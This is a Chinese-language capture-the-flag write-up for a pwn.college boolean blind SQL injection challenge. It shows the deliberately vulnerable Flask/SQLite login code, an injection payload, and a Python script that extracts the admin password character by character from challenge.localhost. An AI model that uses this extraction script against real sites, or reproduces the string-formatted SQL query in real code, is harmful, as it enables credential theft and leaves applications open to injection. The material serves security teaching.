PWN College 关于sql盲注
在这个场景中,我们需要利用SQL注入漏洞来泄露flag,但是应用程序并不会直接返回查询结果。相反,我们需要根据应用程序的行为差异(登录成功与否)来推断查询结果。这就是所谓的"布尔盲注"(Boolean-based Blind SQL Injection)。
我们可以通过构造一系列的"是/否"问题,并根据应用程序的响应来逐位获取flag。
服务器的处理逻辑如下所示:
#!/opt/pwn.college/python
import tempfile
import sqlite3
import flask
import os
app = flask.Flask(__name__)
class TemporaryDB:
def __init__(self):
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")
def execute(self, sql, parameters=()):
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row
cursor = connection.cursor()
result = cursor.execute(sql, parameters)
connection.commit()
return result
db = TemporaryDB()
# https://www.sqlite.org/lang_createtable.html
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [open("/flag").read()])
# https://www.sqlite.org/lang_insert.html
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
@app.route("/", methods=["POST"])
def challenge_post():
username = flask.request.form.get("username")
password = flask.request.form.get("password")
if not username:
flask.abort(400, "Missing `username` form parameter")
if not password:
flask.abort(400, "Missing `password` form parameter")
try:
# https://www.sqlite.org/lang_select.html
query = f'SELECT rowid, * FROM users WHERE username = "{username}" AND password = "{password}"'
print(f"DEBUG: {query=}")
user = db.execute(query).fetchone()
except sqlite3.Error as e:
flask.abort(500, f"Query: {query}\nError: {e}")
if not user:
flask.abort(403, "Invalid username or password")
flask.session["user"] = username
return flask.redirect(flask.request.path)
@app.route("/", methods=["GET"])
def challenge_get():
if not (username := flask.session.get("user", None)):
page = "<html><body>Welcome to the login service! Please log in as admin to get the flag."
else:
page = f"<html><body>Hello, {username}!"
return page + """
<hr>
<form method=post>
User:<input type=text name=username>Pass:<input type=text name=password><input type=submit value=Submit>
</form>
</body></html>
"""
app.secret_key = os.urandom(8)
port = 8080 if os.geteuid() else 80
app.config['SERVER_NAME'] = f"challenge.localhost:{port}"
app.run("challenge.localhost", port)
这里我们需要构造合适的payload:
admin"--
-- 注释掉查询的剩余部分
整个查询会变成:
SELECT rowid, * FROM users WHERE username = "admin"--" AND password = "anything"
进一步得到
SELECT rowid, * FROM users WHERE username = "admin" AND substr((SELECT password FROM users WHERE username="admin"), 1, 1) = "a"--" AND password = "anything"
构造脚本逐字符猜测
import requests
import string
url = "http://challenge.localhost:8080"
flag = ""
charset = string.printable.strip()
def check(payload):
response = requests.post(url, data={"username": payload, "password": "anything"}, allow_redirects=False)
return response.status_code == 302
# 获取flag长度
for i in range(1, 100):
payload = f'admin" AND length((SELECT password FROM users WHERE username="admin")) = {i}--'
if check(payload):
print(f"Flag length: {i}")
flag_length = i
break
# 获取flag内容
for i in range(1, flag_length + 1):
for char in charset:
payload = f'admin" AND substr((SELECT password FROM users WHERE username="admin"), {i}, 1) = "{char}"--'
if check(payload):
flag += char
print(f"Current flag: {flag}")
break
print(f"Final flag: {flag}")